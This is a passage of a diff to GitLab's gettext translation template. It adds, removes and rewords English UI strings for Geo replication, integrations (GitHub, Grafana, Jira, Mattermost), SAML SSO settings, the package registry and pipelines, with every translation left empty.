msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
